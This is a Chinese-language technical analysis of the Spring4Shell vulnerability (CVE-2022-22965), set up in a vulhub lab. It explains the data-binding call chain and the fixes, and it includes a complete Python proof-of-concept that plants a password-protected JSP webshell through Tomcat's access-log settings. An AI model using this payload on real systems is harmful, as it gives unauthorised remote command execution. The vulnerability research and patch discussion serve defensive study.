Spring中的参数绑定
在Spring中,假设有如下两个个类
A:
public class A {
public B b;
public B getB() {
return b;
}
public void setB(B b) {
this.b = b;
}
}
B:
public class B {
public String flag;
public String getFlag() {
return flag;
}
public void setFlag(String flag) {
this.flag = flag;
}
}
控制器:
@RestController
public class TestController {
@RequestMapping("/test")
public String MyTest(A a) {
return a.b.flag;
}
}
可以通过传递b.flag=xux
来进行赋值
实际上调用链如下:
A.getB()
B.setFlag("xux")
Spring4Shell(CVE-2022-22965)
使用vulhub中的镜像
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
@Controller
public class HelloController {
public HelloController() {
}
@GetMapping({"/"})
public String index(Person person, Model model) {
model.addAttribute("person", person);
return "hello";
}
}
可以先看看Poc:
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
其中传递的第一个参数为:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}
Spring在WebDataBinder#doBind中进行参数绑定
经过若干步后会进入AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath
这是一个不断调用自身的方法
第一次迭代:
此时nestedProperty
为class,nestedPath
为module.classLoader.resources.context.parent.pipeline.first.pattern
经过若干步后进入了BeanWrapperImpl#getValue
在最后反射调用了person.getClass()
然后进入第二次迭代:
此时nestedProperty
为module,nestedPath
为classLoader.resources.context.parent.pipeline.first.pattern
然后进入BeanWrapperImpl#getValue
此时BeanWrapperImpl.this.getInstance()
已经是我们上一次迭代反射调用person.getClass()
得到的结果
这里等价于调用person.getClass().getModule()
因此那一长串参数class.module.classLoader.resources.context.parent.pipeline.first.pattern
在迭代的过程中最后的完整调用链等价于:
person.getClass().getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst().setPattern()
这里获取了Pipeline中的第一个valve,也就是AccessLogValve
,并调用了其setPattern
方法设置其pattern为jsp的webshell
同理设置了其suffix为.jsp
,directory
为webapps/ROOT
,prefix
为tomcatwar
,fileDateFormat
为空
最后AccessLogValve
的相关配置:
在https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging中可以看到
suffix
制定了日志文件的后缀,directory
指定了日志的路径,prefix
指定了日志文件的前缀(如果不指定默认为access_log),fileDateFormat
指定日期格式为空
Spring4Shell的利用过程本质上就是利用Spring中的参数绑定机制配置Tomcat的日志文件为webshell
这里还有一个问题就是设置的日志内容中的%{c1}i%
,%{c2}%i
,%{suffix}%i
他就是引用文件头中的c1,c2和suffix
也就是Poc中设置的
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
关键点
1.需要部署在Tomcat中,这是因为SpringBoot以可执行jar包的方式运行,classLoader
嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader
,其没有getResources()
2.需要jdk版本>jdk1.9,这是因为在Spring中当Bean的类型为java.lang.Class
时,不返回classLoader
和protectionDomain
的PropertyDescriptor
也就是不能通过person.getClass().getClassLoader()
直接获取classloader
而在jdk1.9之后Java为了支持模块化,在java.lang.Class
中增加了module
属性和对应的getModule()
方法
可以通过person.getClass().getModule().getClassLoader()
获取classloader
修复
在spring5.3.18中CachedIntrospectionResults
构造函数中Java Bean的PropertyDescriptor
的过滤条件被修改了:当Java Bean的类型为java.lang.Class
时,仅允许获取name
以及Name
后缀的属性描述符
也就是不能通过xxx.getClass().getModule().getClassLoader()
获取classLoader
在Tomcat9.0.62中对getResource()
方法的返回值做了修改,直接返回null
参考: